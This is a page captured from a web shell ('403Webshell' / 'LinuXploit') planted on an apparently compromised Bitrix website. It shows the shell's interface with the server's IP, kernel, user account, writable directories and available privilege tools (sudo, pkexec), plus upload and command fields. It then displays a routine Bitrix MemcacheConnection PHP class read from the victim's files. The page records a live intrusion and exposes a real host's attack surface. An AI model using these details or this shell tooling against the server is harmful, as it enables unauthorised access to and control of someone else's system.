403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/memcacheconnection.php
<?php
/**
 * Bitrix Framework
 * @package    bitrix
 * @subpackage main
 * @copyright  2001-2012 Bitrix
 */

namespace Bitrix\Main\Data;

/**
 * Class MemcacheConnection
 * @package Bitrix\Main\Data
 * @property \Memcache $resource
 * @method getResource(): \Memcache
 */
class MemcacheConnection extends NosqlConnection
{
	/** @var Configurator\MemcacheConnectionConfigurator */
	protected $configurator;

	public function __construct(array $configuration)
	{
		parent::__construct($configuration);

		$this->configurator = new Configurator\MemcacheConnectionConfigurator($this->getConfiguration());
	}

	protected function connectInternal()
	{
		$this->resource = $this->configurator->createConnection();
		$this->isConnected = (bool)$this->resource;
	}

	protected function disconnectInternal()
	{
		if ($this->isConnected())
		{
			$this->resource->close();
			$this->resource = null;
			$this->isConnected = false;
		}
	}

	public function get($key)
	{
		if (!$this->isConnected())
		{
			$this->connect();
		}

		return $this->resource->get($key);
	}

	public function set($key, $value)
	{
		if (!$this->isConnected())
		{
			$this->connect();
		}

		return $this->resource->set($key, $value);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit